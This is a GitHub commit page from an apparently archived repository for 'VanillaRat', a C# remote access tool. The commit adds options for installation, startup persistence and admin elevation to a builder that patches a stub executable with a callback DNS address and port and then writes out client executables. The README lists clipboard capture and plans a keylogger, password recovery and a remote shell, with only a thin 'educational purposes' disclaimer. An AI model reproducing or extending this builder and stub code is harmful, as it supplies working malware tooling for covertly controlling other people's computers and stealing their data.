Skip to content
This repository has been archived by the owner on May 2, 2021. It is now read-only.

Commit

Permalink
Installation, startup, and admin added
Browse files Browse the repository at this point in the history
  • Loading branch information
dhuinda committed Mar 21, 2019
1 parent c2b0603 commit 831b176
Show file tree
Hide file tree
Showing 26 changed files with 1,268 additions and 39 deletions.
Binary file modified .vs/VanillaRat/v15/.suo
Binary file not shown.
Binary file modified .vs/VanillaRat/v15/Server/sqlite3/storage.ide
Binary file not shown.
Binary file modified .vs/VanillaRat/v15/Server/sqlite3/storage.ide-shm
Binary file not shown.
Binary file modified .vs/VanillaRat/v15/Server/sqlite3/storage.ide-wal
Binary file not shown.
1,025 changes: 1,025 additions & 0 deletions .vs/config/applicationhost.config

Large diffs are not rendered by default.

Binary file added Banner.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
10 changes: 6 additions & 4 deletions README.md
Original file line number Diff line number Diff line change
@@ -1,4 +1,4 @@
## VanillaRat - Advanced Remote Administration Tool
![Banner](Banner.png)
### Description:
VanillaRat is an advanced remote administration tool coded in C#. VanillaRat uses the Telepathy TCP networking library, dnlib module reading and writing library, and Costura.Fody dll embedding library.

Expand All @@ -14,11 +14,12 @@ VanillaRat is an advanced remote administration tool coded in C#. VanillaRat use
- Clipboard Text (Copied text)

### TODO:
- Code cleanup and commenting
- Code cleanup and commenting (50% complete)
- Add a keylogger
- Add password recovery
- Add a remote shell
- Add options for installation
- Redesign networking system

### How To Install:
**Release:**
Expand All @@ -39,7 +40,7 @@ Note: If you accidentally run VanillaRatStub.exe, you can end the process by ope
6. Run VanillaRat.exe and have fun!
7. If any modification is made to VanillaRat or VanillaRatStub steps 4-5 need to be repeated.

### Using Vanilla Rat
### Using Vanilla Rat:

**Setting The Server Up:**
To get started you must have at least one open port that you do not use with other applications. The default port is 1604. You must also have a dynamic dns address which you can get from https://no-ip.com/.
Expand All @@ -56,4 +57,5 @@ Once a client is connected you can select the client and right click on the clie
![Capture](https://user-images.githubusercontent.com/39781618/54472005-b7bca600-478f-11e9-8a0a-45006870ee18.PNG)
## Important Disclaimer:

**I am in no way responsible for any malicious actions that you may make using this software. Please take note that this application was designed for educational purposes and should never be used malicously.**
**I am in no way responsible for any malicious actions that you may make using this software. Please take note that this application was designed for educational purposes and should never be used maliciously.**

1 change: 1 addition & 0 deletions VanillaRat.sln.DotSettings.user
Original file line number Diff line number Diff line change
@@ -1,4 +1,5 @@
<wpf:ResourceDictionary xml:space="preserve" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml" xmlns:s="clr-namespace:System;assembly=mscorlib" xmlns:ss="urn:shemas-jetbrains-com:settings-storage-xaml" xmlns:wpf="http://schemas.microsoft.com/winfx/2006/xaml/presentation">

<s:String x:Key="/Default/CodeStyle/Naming/CSharpNaming/AutoDetectedNamingRules/=TypesAndNamespaces/@EntryIndexedValue">&lt;Policy Inspect="True" Prefix="" Suffix="" Style="AaBb" /&gt;</s:String>
<s:String x:Key="/Default/CodeStyle/Naming/CSharpNaming/AutoDetectedNamingRules/=PublicFields/@EntryIndexedValue">&lt;Policy Inspect="True" Prefix="" Suffix="" Style="AA_BB"&gt;&lt;ExtraRule Prefix="" Suffix="" Style="AaBb" /&gt;&lt;/Policy&gt;</s:String>
<s:String x:Key="/Default/CodeStyle/Naming/CSharpNaming/AutoDetectedNamingRules/=Property/@EntryIndexedValue">&lt;Policy Inspect="True" Prefix="" Suffix="" Style="AaBb" /&gt;</s:String>
Expand Down
9 changes: 7 additions & 2 deletions VanillaRat/Classes/Builder.cs
Original file line number Diff line number Diff line change
Expand Up @@ -7,12 +7,15 @@ namespace VanillaRat.Classes
{
internal class Builder
{
public void BuildClient(string Port, string DNS, string Name, string ClientTag, string UpdateInterval)
public void BuildClient(string Port, string DNS, string Name, string ClientTag, string UpdateInterval, string Install, string Startup, string Admin)
{
VanillaRatStub.ClientSettings.DNS = DNS;
VanillaRatStub.ClientSettings.Port = Port;
VanillaRatStub.ClientSettings.ClientTag = ClientTag;
VanillaRatStub.ClientSettings.UpdateInterval = UpdateInterval;
VanillaRatStub.ClientSettings.Install = Install == "True" ? "True" : "False";
VanillaRatStub.ClientSettings.Startup = Startup == "True" ? "True" : "False";
VanillaRatStub.ClientSettings.Admin = Admin == "True" ? "True" : "False";
string FullName = "VanillaRatStub.ClientSettings";
var Assembly = AssemblyDef.Load("VanillaRatStub.exe");
var Module = Assembly.ManifestModule;
Expand All @@ -28,12 +31,14 @@ public void BuildClient(string Port, string DNS, string Name, string ClientTag,
Constructor.Body.Instructions[2].Operand = VanillaRatStub.ClientSettings.Port;
Constructor.Body.Instructions[4].Operand = VanillaRatStub.ClientSettings.ClientTag;
Constructor.Body.Instructions[6].Operand = VanillaRatStub.ClientSettings.UpdateInterval;
Constructor.Body.Instructions[8].Operand = VanillaRatStub.ClientSettings.Install;
Constructor.Body.Instructions[12].Operand = VanillaRatStub.ClientSettings.Startup;
Constructor.Body.Instructions[14].Operand = VanillaRatStub.ClientSettings.Admin;
if (!Directory.Exists(Environment.CurrentDirectory + @"\Clients"))
Directory.CreateDirectory(Environment.CurrentDirectory + @"\Clients");
Assembly.Write(Environment.CurrentDirectory + @"\Clients\" + Name + ".exe");
}
}
return;
}
}
}
Expand Down
3 changes: 3 additions & 0 deletions VanillaRat/ClientSettings.cs
Original file line number Diff line number Diff line change
Expand Up @@ -6,5 +6,8 @@ public static class ClientSettings
public static string Port = "";
public static string ClientTag = "";
public static string UpdateInterval = "";
public static string Install = "";
public static string Startup = "";
public static string Admin = "";
}
}
147 changes: 118 additions & 29 deletions VanillaRat/Forms/BuilderForm.Designer.cs

Some generated files are not rendered by default. Learn more about how customized files appear on GitHub.

28 changes: 27 additions & 1 deletion VanillaRat/Forms/BuilderForm.cs
Original file line number Diff line number Diff line change
Expand Up @@ -35,9 +35,35 @@ private void btnBuild_Click(object sender, EventArgs e)
MessageBox.Show("Error: " + EX.Message, "Error", MessageBoxButtons.OK, MessageBoxIcon.Error);
return;
}
ClientBuilder.BuildClient(txtPort.Text, txtDNS.Text, txtName.Text, txtClientTag.Text, txtInterval.Text);

string Install = "False";
string Admin = "False";
string Startup = "False";
Install = cbEnableInstallation.Checked ? "True" : "False";
Startup = cbEnableStartup.Checked ? "True" : "False";
Admin = cbEnableAdmin.Checked ? "True" : "False";


ClientBuilder.BuildClient(txtPort.Text, txtDNS.Text, txtName.Text, txtClientTag.Text, txtInterval.Text, Install, Startup, Admin);
Process.Start("explorer.exe", Environment.CurrentDirectory + @"\Clients\");
Hide();
}

private void cbEnableInstallation_CheckedChanged(object sender, EventArgs e)
{
if (cbEnableInstallation.Checked)
{
cbEnableStartup.Enabled = true;
cbEnableAdmin.Checked = true;
cbEnableAdmin.Enabled = false;
}
else
{
if (!cbEnableAdmin.Enabled)
cbEnableAdmin.Enabled = true;
cbEnableStartup.Enabled = false;
}

}
}
}
Binary file not shown.
Binary file modified VanillaRat/bin/Debug/VanillaRat.exe
Binary file not shown.
Binary file modified VanillaRat/bin/Debug/VanillaRat.pdb
Binary file not shown.
Binary file modified VanillaRat/bin/Debug/VanillaRatStub.exe
Binary file not shown.
Binary file modified VanillaRat/obj/Debug/VanillaRat.csproj.GenerateResource.cache
Binary file not shown.
Binary file modified VanillaRat/obj/Debug/VanillaRat.exe
Binary file not shown.
Binary file modified VanillaRat/obj/Debug/VanillaRat.pdb
Binary file not shown.
3 changes: 3 additions & 0 deletions VanillaRatStub/ClientSettings.cs
Original file line number Diff line number Diff line change
Expand Up @@ -6,5 +6,8 @@ public static class ClientSettings
public static string Port = "";
public static string ClientTag = "";
public static string UpdateInterval = "";
public static string Install = "";
public static string Startup = "";
public static string Admin = "";
}
}
Loading

0 comments on commit 831b176

Please sign in to comment.